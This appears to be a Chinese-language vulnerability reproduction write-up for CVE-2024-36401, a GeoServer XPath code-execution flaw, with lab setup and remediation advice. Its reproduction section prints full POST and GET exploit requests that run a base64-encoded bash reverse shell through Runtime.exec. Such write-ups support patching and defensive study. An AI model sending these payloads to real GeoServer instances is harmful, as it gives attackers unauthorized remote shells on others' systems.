CVE-2024-36401 GeoServer 前台代码执行漏洞

0x01 简介

GeoServer 是一个开源的地理信息服务器,用于发布和共享地理空间数据。它是由 GeoTools 库驱动的,GeoTools 是一个用于处理地理数据的 Java 库。GeoServer 允许用户从各种数据源(如 Shapefile、PostGIS、Oracle Spatial、ArcSDE 等)发布地理空间数据,并通过标准的 OGC(Open Geospatial Consortium)协议(如 WMS、WFS、WCS 等)进行访问。

0x02 漏洞概述

CVE-2024-36401 是由于对 XPath 表达式错误的解析导致未授权的攻击者能够执行任意代码。

The GeoTools library API that GeoServer calls evaluates property/attribute names for feature types in a way that unsafely passes them to the commons-jxpath library which can execute arbitrary code when evaluating XPath expressions. This XPath evaluation is intended to be used only by complex feature types (i.e., Application Schema data stores) but is incorrectly being applied to simple feature types as well which makes this vulnerability apply to ALL GeoServer instances.

0x03 影响版本

GeoServer <= 2.25.1,2.24.3,2.23.5

0x04 环境搭建

环境搭建比较简单,可以使用 P 牛在 vulhub 提供的环境, clone 仓库后使用命令

1
docker compose up -d

启动环境,环境启动后访问 http://ip:8080/geoserver

0x05 漏洞复现

在进行漏洞复现时需要注意:typeNames必须存在,可以在Web页面/geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage?3&filter=false中找到当前服务器中的所有Types。如下图所示:

首先在攻击机上开启监听:

构造恶意请求

成功收到 shell ,漏洞存在。

完整数据包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /geoserver/wfs HTTP/1.1
Host: host:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 379

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,base64(shell)}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>

CVE-2024-36401 漏洞的验证方式有两种,一种是上面的 POST 方式,一种是 GET 方式,GET 验证方式的数据包如下:

1
2
3
4
5
6
7
8
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'bash%20-c%20%7Becho%2Curl(base64(shell))7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D') HTTP/1.1
Host: host:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

结果:

0x06 修复方式

  • 删除 WEB-INF/lib/gt-complex-x.y.jar,依赖 gt-complex-x.y.jar 的功能会受影响
  • 更新到新版本

0x07 参考链接